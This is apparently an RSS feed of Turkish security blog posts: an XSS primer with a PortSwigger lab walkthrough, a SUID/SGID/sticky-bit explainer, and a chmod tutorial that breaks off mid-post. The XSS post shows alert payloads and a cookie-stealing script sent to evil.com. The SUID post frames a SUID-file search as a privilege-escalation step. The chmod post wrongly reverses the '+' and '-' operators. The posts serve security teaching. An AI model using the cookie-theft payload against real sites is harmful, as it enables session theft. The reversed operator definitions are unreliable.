<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Aycan Yılmazoğlu on Medium]]></title>
        <description><![CDATA[Stories by Aycan Yılmazoğlu on Medium]]></description>
        <link>https://medium.com/@yilmazogluaycan?source=rss-b241a550342c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*o6xzLIZ32FBfDXBf</url>
            <title>Stories by Aycan Yılmazoğlu on Medium</title>
            <link>https://medium.com/@yilmazogluaycan?source=rss-b241a550342c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 07:56:16 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@yilmazogluaycan/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[XSS (Cross-Site Scripting) Nedir?]]></title>
            <link>https://medium.com/@yilmazogluaycan/xss-cross-site-scripting-nedir-44ab768cc9a8?source=rss-b241a550342c------2</link>
            <guid isPermaLink="false">https://medium.com/p/44ab768cc9a8</guid>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[siber-güvenlik]]></category>
            <category><![CDATA[xss-attack]]></category>
            <dc:creator><![CDATA[Aycan Yılmazoğlu]]></dc:creator>
            <pubDate>Fri, 30 May 2025 18:46:28 GMT</pubDate>
            <atom:updated>2025-05-30T18:46:28.111Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_ooe1SAt5WMuqlNe63-lWA.png" /><figcaption>XSS (Cross-Site Scripting)</figcaption></figure><p><strong>Web güvenliği</strong> ile ilgileniyorsanız, karşınıza mutlaka çıkan ilk terimlerden biri <strong>XSS</strong> olur. Web uygulamalarında bulunan küçük bir açık, tüm verilerinizin çalınasına sebep olabilir. Bu nedenle <a href="https://owasp.org/www-project-top-ten/">OWASP Top 10</a> listesinde her zaman yerini ve önemini koruyan XSS, hala en kritik web güvenliği zafiyetlerinden biridir.</p><p>Bu yazıda,<strong> </strong>XSS’in <strong>ne olduğunu</strong> ve <strong>nasıl çalıştığını</strong> anlatmaya çalışacağım ve ardından <a href="https://portswigger.net/"><strong>PortSwigger Web Security Academy</strong></a> üzerinden bu konuyla ilgili bir adet basit seviye lab çözümü ile anlatılanları pekiştirmeye çalışacağız. Keyifli okumalar dilerim.</p><h3>XSS (Cross-Site Scripting) Nedir?</h3><p>Siteler arası komut dosyası çalıştırma anlamına gelen <strong>XSS</strong>, saldırganın bir web sitesine kötü amaçlı <strong>JavaScript kodu</strong> enjekte ederek, bu kodun diğer kullanıcıların tarayıcısında çalışmasını sağlayan bir güvenlik açığıdır. SQL enjeksiyonu gibi diğer saldırı yöntemlerinin aksine <strong>XSS</strong>, uygulamayı hedeflemek yerine öncelikle <strong>kullanıcıları</strong> hedefler.</p><p><strong>XSS</strong> açıkları sayesinde saldırgan:</p><ul><li>Kullanıcıyı taklit edip kullanıcı yerine eylem gerçekleştirebilir.</li><li>Kullanıcının <strong>oturum çerezini</strong> elde edebilir.</li><li>Sayfaya sahte giriş formu yerleştirilebilir.</li><li>Sosyal mühendislik taktikleriyle birleştiğinde <strong>phishing, keylogger ve trojan</strong> yerleştirme gibi daha gelişmiş saldırılara yol açabilir.</li><li>Sayfanın içeriğini değiştirebilir (<strong>tahrif</strong>).</li></ul><p>Üç farklı türü vardır:</p><h4><strong>Stored XSS </strong>(Kalıcı)</h4><p><strong>Depolanan XSS</strong>, bir uygulamanın güvenilir olmayan kaynaktan veri alması ve veriyi daha sonraki<strong> http yanıtlarına</strong> dahil etmesi durumunda ortaya çıkar.</p><p>Bir blog gönderisindeki <strong>yorumlar</strong>, bir sohbet odasındaki <strong>kullanıcı takma adları</strong> veya müşteri siparişindeki <strong>iletişim bilgileri</strong> gibi veriler http istekleri aracılığıyla uygulamaya gönderilebilir. Örneğin kullanıcı yorum yaptığında sayfanın kaynak kodlarında böyle görünüyorsa:</p><pre>&lt;p&gt;Harika!&lt;/p&gt;</pre><p>Saldırgan bunu sömürebilir:</p><pre>&lt;p&gt;&lt;script&gt;alert(&#39;Injected!&#39;)&lt;/script&gt;&lt;/p&gt;</pre><p>Veya daha gerçekçi bir kullanım örneği verecek olursak:</p><pre>&lt;p&gt;&lt;script&gt;<br>  new Image().src=&quot;https://evil.com/steal?cookie=&quot; + document.cookie;<br>&lt;/script&gt;&lt;/p&gt;</pre><p>Bu tür bir payload, kullanıcının çerezlerini saldırgana ait bir sunucuya göndermek için kullanılır.</p><p>➡️Daha kapsamlı XSS payload örnekleri için: <a href="https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet">XSS Filter Evasion Cheat Sheet</a> .</p><h4>Reflected<strong> XSS (Yansıyan)</strong></h4><p>Zararlı kod doğrudan URL üzerinden gönderilir. Aslında bu XSS türü de aynı şekilde sömürülür ancak farkları bu türün kullanıcıya, <strong>URL’e özel</strong> olmasıdır.</p><p>Kullanıcı aşağıdaki URL’e tıklarsa:</p><pre>https://site.com/search?q=&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;</pre><p>Eğer bu parametre sunucu tarafında yeterince filtrelenmeden yanıt içine gömülüyorsa, şu şekilde çalışabilir:</p><pre>&lt;p&gt;Arama Sonucu: &lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;&lt;/p&gt;</pre><p>Bu açık da, saldırgan tarafından oturum çerezlerini çalmak, sahte formlar göstermek gibi amaçlarla kullanılabilir.</p><h4><strong>DOM-Based XSS</strong></h4><p><strong>DOM</strong> (Belge Nesne Modeli) <strong>Tabanlı XSS</strong>, kullanıcının girdiği verinin tarayıcıda çalışan <strong>JavaScript kodu</strong> tarafından işlenmesi sırasında güvenlik kontrollerinden geçmemesi sonucu oluşan bir XSS türüdür. Bu açık, server (sunucu) tarafında değil, <strong>client (istemci) tarafında</strong> gerçekleşir.</p><p><strong>DOM</strong> yani Belge Nesne Modeli, tarayıcının bir web sayfasını temsil ettiği yapıdır. Sayfadaki HTML elemanlarının hiyerarşisini oluşturur. Tarayıcıda çalışan JavaScript bu DOM yapısını <strong>okuyabilir </strong>ve<strong> değiştirebilir. B</strong>u yalnızca JavaScript’in çalıştığı sayfa içinde mümkündür. Bu tür saldırıları tespit etmek zordur çünkü <strong>payload</strong> (kötü amaçlı kod) asla sunucuya ulaşmaz ve her şey<strong> tarayıcıda</strong> gerçekleşir. Bu da tespit edilmesini daha da güçleştirir. Payload’u yanıtta bulmak mümkün değildir. Sadece çalışma sırasında ya da sayfanın DOM’u incelenerek gözlemlenebilir.</p><p>Buna örnek verecek olursak, hedef sunucunun URL’si aşağıdaki gibi:</p><pre>https://alışveriş.com/arama.html?kelime=telefon</pre><p>Kullanıcı bu sayfaya gittiğinde, sayfada şöyle bir metin çıkıyor:</p><pre>Aradığınız kelime: telefon</pre><p>Sayfanın ilgili JavaScript kodu aşağıdaki gibidir:</p><pre>&lt;p id=&quot;bilgi&quot;&gt;&lt;/p&gt;<br><br>&lt;script&gt;<br>  let kelime = new URLSearchParams(window.location.search).get(&quot;kelime&quot;);<br>  document.getElementById(&quot;bilgi&quot;).innerHTML = &quot;Aradığınız kelime: &quot; + kelime;<br>&lt;/script&gt;</pre><p>Bu yapı, kullanıcıdan gelen <em>kelime</em> parametresini doğrudan <em>innerHTML</em> aracılığıyla DOM&#39;a eklemektedir. Saldırgan ise eğer kurbana aşağıdaki linki gönderecek olursa:</p><pre>https://alışveriş.com/arama.html?kelime=&lt;img src=x onerror=alert(&#39;Hacked&#39;)&gt;</pre><p>Şunlar gerçekleşir:</p><ol><li><em>kelime</em> parametresi <em>&lt;img src=x onerror=alert(‘Hacked’)&gt; </em>olarak tanımlanır.</li><li>Sayfa, bunu HTML içeriğine şu şekilde dahil eder:</li></ol><pre>Aradığınız kelime: &lt;img src=x onerror=alert(&#39;Hacked&#39;)&gt;</pre><p>3. Bu, bir img tag’i olarak görünür ancak yüklenemediği için <em>onerror </em>olayı<em> </em>tetiklenir ve <em>alert(‘Hacked’)</em> kodu çalışır.</p><blockquote><em>innerHTML</em> yerine<em> textContent</em> kullanımı bu zafiyeti önleyebilir. Yani parametre sadece<strong> düz metin </strong>olarak eklenir, kod olarak değil.</blockquote><h3>XXS Zafiyetine Karşı Alınabilecek Güvenlik Önlemleri (Mitigation)</h3><ul><li>Girdinin işlenmesinden önce <strong>filtrelenmesi.</strong></li><li><strong>HTML Encode</strong> yapılması. Yani kullanıcı girdisini doğrudan HTML içine yazmak yerine, <strong>encode işlemi</strong> ile kötü amaçlı kodun giriş yapılması önlenir. Encode işleminde, HTML’de <em>kontrol karakteri (&lt;, &gt;, &amp;, “, ’)</em> olarak kullanılan karakterlerin sadece bir <strong>metin olarak</strong> algılanması içindir. Bu sayede kullanıcı, tarayıcı içerisine HTML tagleri yerleştiremez.</li><li><strong>CSP (İçerik Güvenlik Politikası)</strong> uygulanması. Bu tarayıcı özelliği, script etiketlerinin dışarıdan çalışmasını engeller. Geliştiricilere sayfada hangi kaynakların yüklenebileceğini ayarlama imkanı sunar.</li><li>Düzenli <strong>denetleme</strong>, otomatik araçlarla yapılabilir.</li><li>Kullanıcı girdilerini belli bir <strong>kuralla </strong>kısıtlamak. Örneğin girdinin belirli bir<strong> veri tipinde, uzunlukta</strong> veya <strong>desen içerip içermeyeceği</strong> gibi konular belirlenebilir.</li><li><strong>HttpOnly</strong> flagi tanımlamak. Bu flag, tarayıcıya belirli bir çerezin JavaScript tarafından erişilememesi gerektiğini belirtir. Böylece saldırgan, XSS ile bu çerezi çalamaz.</li></ul><h3>PortSwigger Lab Çözümü</h3><h4><a href="https://portswigger.net/web-security/cross-site-scripting/stored/lab-html-context-nothing-encoded">Lab: Stored XSS into HTML context with nothing encoded</a></h4><p>Lab ilk açıldığında böyle bir sayfa ile karşılaşıyoruz:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*bTNWBUeMYVekN2EpgUFG5Q.png" /><figcaption>Sayfanın ilk görünüşü</figcaption></figure><p>Buradan bu yazıyı inceleyelim. Aşağıda yorumlar bölümünü görüyoruz. Bu yorumlar kısmını kullanarak kalıcı XSS saldırısı deneyebiliriz. Öncelikle normal bir yorum yazdığımızda ne değişiklik oluyor bir görelim:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pg9WX-SngSbTZCy41mG6VQ.png" /><figcaption>Girdinin “incele” bölümünde görüntülenmesi</figcaption></figure><p>Girdi doğrudan sayfaya yazılıyor, hiçbir filtre uygulanmıyor. XSS açığı olabilir. Aşağıdaki kodu yorum kısmına yazmayı deneyelim. Bu kod sayfa yüklendiğinde tarayıcıda <em>alert(1)</em> çıktısını gösterecektir.</p><pre>&lt;script&gt;alert(1)&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/281/1*CnMtoe_j0aIuoUy8tIv4xw.png" /><figcaption>Yorum kısmına kodu yazıyoruz</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*AkGElsFupm1eImnAq37zEA.png" /><figcaption>alert(1) çıktısı</figcaption></figure><p>Yorumu attıktan sonra her sayfa yenilendiğinde kod yeniden çalışmış olacak yani her seferinde “1” mesajını verecek. Labımızı bu şekilde çözmüş olduk.</p><p><strong><em>Bu yazıda XSS’in temellerini öğrenip, PortSwigger üzerinden bir saldırı örneğiyle pratik yaptık. Görüldüğü gibi, küçük bir filtreleme hatası bile büyük güvenlik açıklarına yol açabiliyor.</em></strong></p><p><strong><em>Vakit ayırıp okuduğunuz için teşekkür ederim. Umarım faydalı olmuştur. Eğer eksik gördüğünüz ya da eklenmesi gerektiğini düşündüğünüz bir nokta varsa, yorumlarda paylaşabilirsiniz. Bir sonraki yazıda yeniden görüşmek üzere!</em></strong></p><p>Kaynakça:</p><ul><li><a href="https://portswigger.net/web-security/cross-site-scripting">What is cross-site scripting (XSS) and how to prevent it? | Web Security Academy</a></li><li><a href="https://bulutistan.com/blog/xss-cross-site-scripting-nedir/">XSS Nedir? Cross-Site Scripting Zafiyeti Nasıl Giderilir? - Bulutistan Blog</a></li><li><a href="https://www.invicti.com/learn/cross-site-scripting-xss/">Cross-Site Scripting (XSS) Vulnerability Guide</a></li></ul><p><a href="https://www.hosting.com.tr/bilgi-bankasi/xss-cross-site-scripting-nedir/">https://www.hosting.com.tr/bilgi-bankasi/xss-cross-site-scripting-nedir/</a></p><p><a href="https://www.acunetix.com/websitesecurity/cross-site-scripting/">What is Cross-site Scripting (XSS): prevention and fixes</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=44ab768cc9a8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux’ta SUID Bit, SGID Bit ve Sticky Bit Nedir? Nasıl Çalışır?]]></title>
            <link>https://medium.com/@yilmazogluaycan/linuxta-suid-bit-sgid-bit-ve-sticky-bit-nedir-nas%C4%B1l-%C3%A7al%C4%B1%C5%9F%C4%B1r-5d9e6ffc73da?source=rss-b241a550342c------2</link>
            <guid isPermaLink="false">https://medium.com/p/5d9e6ffc73da</guid>
            <category><![CDATA[suid]]></category>
            <category><![CDATA[siber-guvenlik]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[permission]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Aycan Yılmazoğlu]]></dc:creator>
            <pubDate>Thu, 27 Mar 2025 09:10:51 GMT</pubDate>
            <atom:updated>2025-03-27T09:10:51.451Z</atom:updated>
            <content:encoded><![CDATA[<p>Linux izinleri alanında <strong>SUID (Set User ID)</strong>, <strong>SGID (Set Group ID)</strong> ve <strong>Sticky Bit</strong>, standart dosya izinlerinin ötesinde, geçici ayrıcalıklar verme, grup erişimini kontrol etme ve veri bütünlüğünü koruma gibi güçlü işlevlere sahip <strong>özel bitlerdir</strong>.</p><p>Bu yazıda sızma testlerinde oldukça işimize yarayan, <strong>linux</strong> dosya sistemindeki bu üç özel izini inceleyeceğiz. Her bir izinin ayrıntılarına inmeye çalışacağım. Bu özel bitlerin ne olduklarını ve nasıl kullanıldıklarını ele alacağız.</p><p>Keyifli okumalar dilerim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dFMdw95vM0ihwVuvv99pzw.png" /><figcaption>Linux’ta SUID Bit, SGID Bit ve Sticky Bit Nedir? Nasıl Çalışır?</figcaption></figure><h3>SUID (Set User ID) İzni</h3><p>Kullanıcı Kimliğini Ayarla <em>(Set User ID)</em> anlamına gelen <strong>SUID</strong>, yürütülebilir <em>(executable)</em> dosyalara atanabilen özel bir izindir. Yürütülebilir bir dosyada SUID izni etkinleştirilmiş ise dosyayı yürüten kullanıcıların, <strong>geçici</strong> olarak dosya sahibi <strong>yetkilerini üstlenmesine </strong>olanak tanır. Yani bir kullanıcının gerekli izinleri <strong>yoksa</strong> bile, <strong>SUID</strong> iznine sahip bir dosyada o izinlere sahip olabileceği anlamına gelir.</p><p>Sızma testlerinde yetki yükseltme aşamasında kullanılan yöntemlerden biri de <strong>SUID biti</strong> düzgün yapılandırılmamış dosyaların sömürülmesidir.</p><p>Örneğin, <em>/etc/shadow</em> dosyasında parolalar ve geçerlilik süreleri saklanır. Bu dosyaya <strong>sıradan kullanıcıların</strong> erişimi bulunmamaktadır. Ancak sıradan bir kullanıcı, <em>passwd</em> komutu ile kendi parolasını değiştirdiğinde bu dosyada kendi parola özetini <strong>değiştirmiş</strong> oluyor. Yani <strong>SUID biti</strong> sayesinde erişim hakkının bulunmadığı bu dosya üzerine erişim sağlayabiliyor.</p><p>Bir dosyanın <strong>SUID</strong> iznine sahip olup olmadığını görmek için <em>ls -l</em> komutunu kullanabiliriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*_xaTyktGiU9Sb_Z6wKG7Ow.png" /><figcaption>ls -l komutu ile dosya izinlerini görme</figcaption></figure><p>Görselde de görüleceği gibi <strong>“s”</strong> harfi bulunmakta, yani <strong>SUID biti</strong> aktif.</p><p><strong>SUID Biti Nasıl Ayarlanır?</strong></p><p>İki şekilde yapabiliriz:</p><pre>chmod u+s &lt;dosya_adi&gt;</pre><p>veya</p><pre>chmod 4xxx &lt;dosya_adi&gt;</pre><p>Sayısal yöntemde <strong>SUID</strong> bitinin değeri <strong>4&#39;</strong>tür. Kalan <strong>x</strong> harfleri diğer izinler anlamına gelir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*9WbeOuusJjBuRc8_vMQkTg.png" /><figcaption>SUID biti ayarlama</figcaption></figure><p>Yukarıdaki görselde görüleceği üzere <em>text1.txt </em>adlı dosyada <strong>SUID</strong> biti ayarlandığında, <strong>dosya sahibi</strong> izinlerine bakılacak olursa <strong>s</strong> harfini görebiliriz.</p><p>Bu s harfi yerine büyük s (S) harfi de bulunabilir. Bunu açıklayalım:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*VjVZuobi9bGIv2sP7tdZ4Q.png" /><figcaption>ls -l komutu ile dosya izinlerini görme</figcaption></figure><p>Öncelikle gördüğünüz gibi <em>text1.txt</em> üzerinde dosya sahibinin okuma <strong>(r)</strong>, yazma <strong>(w)</strong> ve yürütme <strong>(x)</strong> izinleri varken <em>text2.txt </em>üzerinde yürütme <strong>(x)</strong> izni yok. Bu dosyalara <strong>SUID</strong> izni ayarladıktan sonra<em> ls -l</em> komutu çalıştıralım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*zSZ-4ty4LisdjrE_zlbgsA.png" /><figcaption>ls -l komutu ile dosya izinlerini görme</figcaption></figure><p>Görebileceğiniz gibi dosya sahibi dosyayı çalıştıramıyorken <strong>büyük s (S)</strong> harfi oluyor.</p><p>Bu izinlerin ayarlanmasında kafa karışıklığı yaşıyorsanız, <a href="https://medium.com/@yilmazogluaycan/chmod-komutu-nedir-ve-nas%C4%B1l-kullan%C4%B1l%C4%B1r-0c8d26fa1714">chmod komutu kullanımı ile ilgili yazıma buradan ulaşabilirsiniz.</a></p><p>Bir sistemde <strong>SUID </strong>veya<strong> SGID </strong>biti aktif olan dosyaları bulmak için aşağıdaki komut kullanılır:</p><pre>find / \( -perm -u+s -or -perm -g+s \) -type f -exec ls -l {} \;</pre><h3>SGID (Set Group ID) İzni</h3><p><strong>SUID</strong> biti ile aynı mantıktadır. Grup Kimliğini Ayarla <em>(Set Group ID)</em> anlamına gelen <strong>SGID</strong>, yürütülebilir dosya ve dizinlere atanabilen özel bir izindir. Yürütülebilir bir dosyada <strong>SGID</strong> izni etkinleştirilmiş ise dosyayı yürüten kullanıcıların, <strong>geçici</strong> olarak dosyanın grup sahipliğini üstlenmesine olanak tanır.</p><p><strong>SGID Biti Nasıl Ayarlanır?</strong></p><pre>chmod 2xxx &lt;dosya_adi&gt;</pre><p>Sayısal yöntemde <strong>SGID</strong> bitinin değeri <strong>2</strong>’dir. Kalan <strong>x</strong> harfleri diğer izinler anlamına gelir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*l9yvw_h9Gk08yQE9u290xg.png" /><figcaption>SGID biti ayarlama</figcaption></figure><p>Yukarıdaki görselde görüleceği üzere <em>text1.txt </em>adlı dosyada <strong>SGID</strong> biti ayarlandığında, <strong>grup</strong> izinlerine bakılacak olursa <strong>s</strong> harfini görebiliriz.</p><h3><strong>Sticky İzni</strong></h3><p><strong>Sticky bit</strong>, yalnızca <strong>dizinlerde</strong> ayarlanabilen, <strong>dosya silme</strong> işlemlerini kısıtlayan bir bittir. Ayarlandığında yalnızca <strong>dizinin sahibi</strong> olan kullanıcı ve <strong>root</strong> kullanıcısı dizin içindeki dosyaları silebilir.</p><p><strong>Sticky bit</strong>in yaygın kullanım örneğinden biri dosya depolama için kullanılan <strong>/tmp</strong> dizinidir. Kullanıcıların burada <strong>sticky biti</strong>ni aktif etmesinin sebebi, diğer kullanıcıların yanlışlıkla veya kötü niyetle dosyalara müdahale etmesinin önüne geçmektir.</p><p><strong>Sticky Bit Nasıl Ayarlanır?</strong></p><pre>chmod o+t &lt;dizin_adi&gt;</pre><p>veya</p><pre>chmod 1xxx &lt;dizin_adi&gt;</pre><p>şeklinde ayarlanabilir. Sayısal yöntemde <strong>Sticky</strong> bitinin değeri <strong>1</strong>&#39;dir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*_85Ezb7gDGt9Km9RvKRFhw.png" /><figcaption>ls -ld komutu ile dizin izinleri görme</figcaption></figure><p>Yukarıdaki görseldeki gibi <em>ls -ld</em> komutunu çalıştırdığımzda, <strong>dizinlerin</strong> sahip olduğu izinleri görmekteyiz. Sondaki <strong>t</strong> harfi, o dizinin <strong>sticky bitine</strong> sahip olduğunu gösterir.</p><p><strong>SUID, SGID ve Sticky</strong> bitleri dikkat edilmediği durumlarda tehlike oluşturabilmektedir. Hedef sistem üzerinde erişim sağlandıktan sonra SUID biti aktif dosyalar ile <strong>yetki yükseltmesi</strong> yapılabilir. Bu nedenle gereksiz şekilde SUID biti aktif olan dosyaların düzenlenmesi daha güvenli olacaktır.</p><p>Böylece <strong>SUID, SGID ve Sticky özel bitlerinin</strong> ne olduğunu ele almış olduk. Vakit ayırıp okuduğunuz için teşekkür ederim. Umarım faydalı olmuştur. Eğer eksik gördüğünüz ya da eklenmesi gerektiğini düşündüğünüz bir nokta varsa, yorumlarda paylaşabilirsiniz. Bir sonraki yazıda yeniden görüşmek üzere!</p><p><strong>Kaynakça:</strong></p><ul><li><a href="https://www.scaler.com/topics/special-permissions-in-linux/">What is SUID, SGID, and Sticky Bit? - Scaler Topics</a></li><li><a href="http://www.siberguvenlikportali.com/linuxsistemlerdesuidbitsgidbitvestickybitkavramlari-5">Siber Güvenlik Portalı | Aytekin UZUN</a></li><li><a href="https://canyoupwn.me/tr-suid-bit-istismari/#:~:text=SUID%20(Set%20owner%20User%20ID,%C3%BCzerinde%20de%C4%9Fi%C5%9Fiklik%20yapabilir%20hale%20gelmekteyiz.">TR | Suid Bit İstismarı</a></li><li><a href="https://www.cbtnuggets.com/blog/technology/system-admin/linux-file-permissions-understanding-setuid-setgid-and-the-sticky-bit">Linux File Permissions: Understanding setuid, setgid, and the Sticky Bit</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5d9e6ffc73da" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Chmod Komutu Nedir ve Nasıl Kullanılır?]]></title>
            <link>https://medium.com/@yilmazogluaycan/chmod-komutu-nedir-ve-nas%C4%B1l-kullan%C4%B1l%C4%B1r-0c8d26fa1714?source=rss-b241a550342c------2</link>
            <guid isPermaLink="false">https://medium.com/p/0c8d26fa1714</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[chmod]]></category>
            <category><![CDATA[siber-guvenlik]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[linux-commands]]></category>
            <dc:creator><![CDATA[Aycan Yılmazoğlu]]></dc:creator>
            <pubDate>Thu, 13 Mar 2025 11:54:36 GMT</pubDate>
            <atom:updated>2025-05-13T08:36:38.007Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BkNlxAMaDsNVHA6wiL8CJQ.png" /></figure><p>Linux işletim sisteminde <strong>dosya ve dizinlere</strong> kimlerin <strong>erişebileceğini</strong> ve hangi işlemler yapabileceklerini değiştirmemiz gerekebilir. İşte tam bu noktada <strong>chmod </strong>komutu devreye girer. Bu yazımda, size bu komutun ne olduğu ve nasıl kullanıldığını örneklerle basitçe anlatmaya çalışacağım. Keyifli okumalar dilerim.</p><h3>Linux Dosya İzinleri</h3><p>Linuxta bir dosyaya ait üç farklı kullanıcı sınıfı bulunmaktadır. Bu her kullanıcı sınıfı, dosya üzerinde farklı izinlere sahiptir.</p><p>Bu üç kullanıcı sınıfı kimlerdir?:</p><ul><li><strong>Dosya sahibi (User)</strong></li><li><strong>Grup (Groups)</strong></li><li><strong>Diğerleri (Others)</strong></li></ul><p>Bir dosya ve dizin üzerinde, bu kullanıcılara ait üç tane yetki bulunmaktadır: <em>read/okuma (</em><strong><em>r</em></strong><em>), write/yazma (</em><strong><em>w</em></strong><em>), execute/yürütme (</em><strong><em>x</em></strong><em>).</em></p><h3>Chmod Komutunun Kullanımı</h3><p>Öncelikle halihazırda bulunan dosya izinlerini incelemek için</p><pre>ls -l</pre><p>komutu kullanılır. Tek bir dosya izinlerine bakmak istiyorsak bu komutun yanına da dosyanın ismini girmek yeterlidir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*40tvm5WKRxZO8Nb2OpvA5A.png" /><figcaption>Dosya izinleri</figcaption></figure><p>Peki burada yazanlar ne ifade ediyor?</p><ul><li>İlk sütunda dosyaya/dizine ait izinleri görmekteyiz. Bu yazının amacı bu izinleri nasıl değiştirebileceğimizi görmek.</li><li>2. sütunda bulunan bağlantı sayısını gösteriyor. Yani 1 yazması tek dosya olduğu anlamına gelir. Diğeri bir dizin olduğundan 2 bağlantıya sahip.</li><li>3. sütunda (root root) dosya sahibi ve grubunu gösteriyor. Yani root kullanıcına ve root grubuna ait.</li><li>4. sütun bayt cinsinden ne kadar yer kapladığını gösteriyor.</li><li>5. sütun son değiştirilme tarihi ve saatini gösteriyor. ( Mar 8 09:34)</li><li>Son sütun ise dosyanın/dizinin adını gösteriyor.</li></ul><p>Şimdi asıl konumuza yani bu dosya ve dizinlerin izinlerini nasıl<strong> chmod</strong> komutu ile değiştirebileceğimize gelelim.</p><p>Bu komutu kullanmak için uygulayabileceğimiz iki yöntem vardır:</p><ul><li><strong>Sayısal</strong></li><li><strong>Sembolik</strong></li></ul><h3>1. Sayısal Yöntem</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Aac37DWsUDvMXERajEUNNQ.png" /><figcaption>Chmod sayısal yöntem hesabı</figcaption></figure><p><strong>Dosya Tipleri:</strong></p><ul><li><strong>- : herhangi bir veri dosyası</strong></li><li><strong>d : dizin</strong></li></ul><p>Bu yöntemde izinler 3 basamaklı bir sayı ile belirtilir. Sayılar aşağıdaki değerlere sahiptir:</p><ul><li><strong>4</strong>: Okuma izni (r)</li><li><strong>2</strong>: Yazma izni (w)</li><li><strong>1</strong>: Çalıştırma izni (x)</li></ul><p>Bu değerler toplanarak gerekli izinler belirlenir:</p><p>r-- → 4 → Sadece okuma izni</p><p>rw- → 6 → Okuma ve yazma izni</p><p>rwx → 7 → Okuma, yazma ve çalıştırma izni bulunmakta.</p><p>Örneğin:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*zSyZhUIzxJDQQeaewMHczA.png" /><figcaption>İzin değiştirme</figcaption></figure><p>Dosya üzerinde sahibe okuma, yazma, çalıştırma izni; gruba ve diğer kullanıcılara sadece okuma izni verdik.</p><p>Ayrıca aşağıdaki komut ile dosyaya ait izinleri sayısal modda görebilirsiniz</p><pre>stat -c &quot;%a&quot; &lt;dosya_adi&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*aT5rrQTWTo3TtcV5gko3_g.png" /><figcaption>Dosya izinlerini sayısal modda görüntüleme</figcaption></figure><h3>2. Sembolik Yöntem</h3><p>Bu yöntemde sayılarla değil sembollerle (harfler ve operatörler) ile izin değiştireceğiz.</p><ul><li>İzin değiştirebileceğimiz kullacıların sembollerini/harflerini aşağıdaki gibi kullanacağız:</li></ul><p><strong>u</strong>: dosya sahibi (owner)</p><p><strong>g</strong>: grup (group)</p><p><strong>o</strong>: diğer kullanıcılar (others)</p><p><strong>a</strong>: tüm kullanıcılar (all)</p><ul><li>Kullanabileceğimiz izin sembolleri:</li></ul><p><strong>g</strong>: grubun şimdiki izinleri</p><p><strong>o</strong>: diğer kullanıcıların şimdiki izinleri</p><p><strong>r</strong>: okuma</p><p><strong>s</strong>: setuid (kullanıcı için) / setgid biti (grup için)</p><p><strong>t</strong>: sticky</p><p><strong>u</strong>: sahibin şimdiki izinleri</p><p><strong>w</strong>: yazma</p><p><strong>x</strong>: çalıştırma / yürütme</p><p><em>NOT: Burada kullanılan 3 tane özel izin bulunmakta (setuid, setgid, sticky). Bu üç özel izni </em><a href="https://medium.com/@yilmazogluaycan/linuxta-suid-bit-sgid-bit-ve-sticky-bit-nedir-nas%C4%B1l-%C3%A7al%C4%B1%C5%9F%C4%B1r-5d9e6ffc73da"><em>başka bir yazımda</em></a><em> daha ayrıntı ele alacağım.</em></p><ul><li>Bir de kullanacağımız operatörler bulunmakta:</li></ul><p><strong>+</strong>: belirtilen izinleri kaldırır.</p><p><strong>-</strong>: belirtilen izinleri ekler.</p><p><strong>=</strong>: geçerli izinleri belirtilen izinlerle değiştirir.</p><p>Şimdi bunların kullanımına geçelim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*rnOA3PjqM5_R4qRpBmMKaw.png" /></figure><ul><li>Yukarıda görüldüğü gibi tüm kullanıcılara (<em>a</em>),okuma (<em>r</em>), yazma izni (<em>w</em>), çalıştırma (<em>x</em>) izinlerini verdik(<em>+</em>).</li></ul><figure><img 